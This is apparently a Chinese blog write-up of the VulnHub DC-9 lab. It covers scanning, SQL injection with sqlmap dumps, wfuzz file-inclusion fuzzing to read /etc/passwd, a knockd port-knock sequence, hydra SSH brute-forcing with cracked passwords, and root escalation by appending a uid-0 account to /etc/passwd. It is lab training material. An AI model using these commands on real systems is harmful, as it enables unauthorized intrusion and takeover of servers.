欢迎光临
我们一直在努力

dc-9靶场练习

先去官网找到dc-9的靶场,

https://www.vulnhub.com/entry/dc-9,412/

然后下载,我下载的有镜像的版本,第一个下载不了(我这里访问不了下载地址)

然后第一步进行ip扫描

nmap -T4 -A -v 192.168.22.1/24

扫出来我的靶机是192.168.22.150

也可以使用arp-scan -l或者netdiscover -p

然后要查看开放了什么服务,就要进行端口扫描

依旧还是用nmap -sC -sV -oA dc-9 192.168.22.150查看开放了哪些端口

依然从80端口入手

http://192.168.22.150/

查看了一下没有什么可用信息,紧接着进行目录扫描

nikto -host 192.168.22.150

还是没有可以利用的信息,又接着对网页进行分析

他既然有一个查询框,可以尝试进行sql注入

‘ or 1=1 –+                 //注意引号是英文

能确定有SQL注入

1、拿到库名

2、拿到表名

3、拿到一张表的全部数据

直接上sqlmap

sqlmap -u http://192.168.22.150/results.php –data "search=1" –dbs

然后探测出来了三个库(先看user库,在Staff)

sqlmap -u http://192.168.22.150/results.php –data "search=1" -D users –tables

只有一个表名

拿到用户名和密码后,把两个做成字典,可以用bp来暴力破解(能登录的入口只有ssh和web的后台)也可以用wfuzz破解,先尝试破解web后台

​wfuzz -z file,user-dict -z file,pass-dict -d "username=FUZZ&password=FUZ2Z" http://192.168.22.150/manage.php

发现没有可用的账号密码

再次回到Staff库

sqlmap -u http://192.168.22.150/results.php –data "search=1" -D Staff –tables

只查到两个表,有先查看users表

sqlmap -u http://192.168.22.150/results.php –data "search=1" -D Staff -T Users –dump

查到一个admin用户 而密码是md加密,需要解密,解密为transorbital1

尝试登陆进网站后台,发现就多了两个选项,然后再manage页面有一个提示

这里可以联想到文件包含漏洞

就联想到http://192.168.136.130/manage.php?file=index.php

爆破参数名就可以使用wfuzz工具

wfuzz -b 'PHPSESSID=j9jviur7bbho4qvr2mv19dm00k' -w /usr/share/wfuzz/wordlist/general/common.txt –hw 100  http://192.168.136.130/manage.php?FUZZ=index.php

//////-b是添加一个登录的cookie值

运行命令发现没有找到可用的信息

这个index.php可能是相对路径,搜索不到结果,那么再次使用操作系统可以访问到的绝对路径尝试

wfuzz -b 'PHPSESSID=j9jviur7bbho4qvr2mv19dm00k' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.136.130/manage.php?FUZZ=../../../../../../etc/passwd

可以多加几个../来保证回到根目录下

发现参数file是可以被利用的

这里我已经尝试过ssh登录这些用户,把之前sql注入获得到的账号密码做成一个字典,用

hydra -L users -P passwords -t 20 -o ssh_results.txt 192.168.1.100 ssh

去尝试了所有用户名都不行。

了解到有一个knockd的工具可以隐藏端口

knockd 是Linux/Unix 系统下最经典、最轻量化的端口敲门(Port Knocking)守护进程,通过 "先敲门、再开门" 的认证机制,让目标端口对未授权用户完全隐形,是隐藏 SSH、RDP 等管理端口的首选工具,广泛用于个人服务器、渗透测试后门和小型内网防护。

所有配置集中在 /etc/knockd.conf 文件,分为全局选项和敲门动作两部分。

尝试访问配置文件

发现有三个端口,依次去访问端口

nmap -p7469 192.168.136.130

nmap -p8475 192.168.136.130

nmap -p9842 192.168.136.130

nmap -p22 192.168.136.130         //前三个必须按顺序执行,然后执行这个命令来尝试

连接22端口,如果连接失败(如下图)

就再执行

for x in 7469 8475 9842 22 ;do nc 192.168.136.130 $x;done

再次执行nmap -p22 192.168.136.130

即可成功

然后把之前sqlmap的字典用来爆破ssh

hydra -L users -P pass 192.168.136.130 ssh

发现了三个可以尝试登陆的账户

chandlerb

UrAG0D!

———–

joeyt

Passw0rd

————

janitor

Ilovepeepee

依次用kali去远程连接192.168.136.130的ssh

ssh janitor@192.168.136.130

ssh joeyt@192.168.136.130

ssh chandlerb@192.168.136.130

一个普通用户要提权到root用户,就开始信息收集

#1、找敏感文件

ls -a

find / "*"

#2、可以用root权限去执行的程序

sudo -l

#3、查看历史命令

history

#4、内核漏洞

uname -a

依次对三个登陆的账号进行信息收集

发现在janitor用户发现多了一个文件,进一步打开就发现了很多的密码

这里我把新的密码拿出来又加在我之前的pass密码字典里面,再次爆破一下,看看能不能多出几个用户

发现多了一个fredf用户

对四个用户都查看能直接使用root权限的命令

发现fredf用户有一个

尝试运行一下命令

先进入到/opt/devstuff/dist/test/目录下,再执行./test

查看到是一个python代码,用法可能是读一个文件再追加到一个新的文件,

尝试找一下这个test.py

find / -name "test.py" 2>/dev/null

确认一下这个test.py的作用

然后可以我这里是添加一个新的·用户到/etc/passwd里面

admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash

我打算新添加一个admin用户权限和root一样(对/etc/passwd文件不熟悉的可以先去了解一下)

$1$admin$LClYcRe.ee8dQwgrFc5nz.    //这里的密码是我通过kali带的openssl

openssl passwd -1 -salt admin 123456

先把这个信息写入到/tmp/newuser文件里面

再把/tmp/newuser追加到/etc/passwd里面

这里已经看到admin用户写入到了/etc/passwd里面

然后切换用户,最后提权成功

前面和后面可能ip不一样,是因为作者换了电脑完成的后面内容,请谅解

谢谢观看,不足之处请指正!

赞(0)
未经允许不得转载:171主机测评 » dc-9靶场练习
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址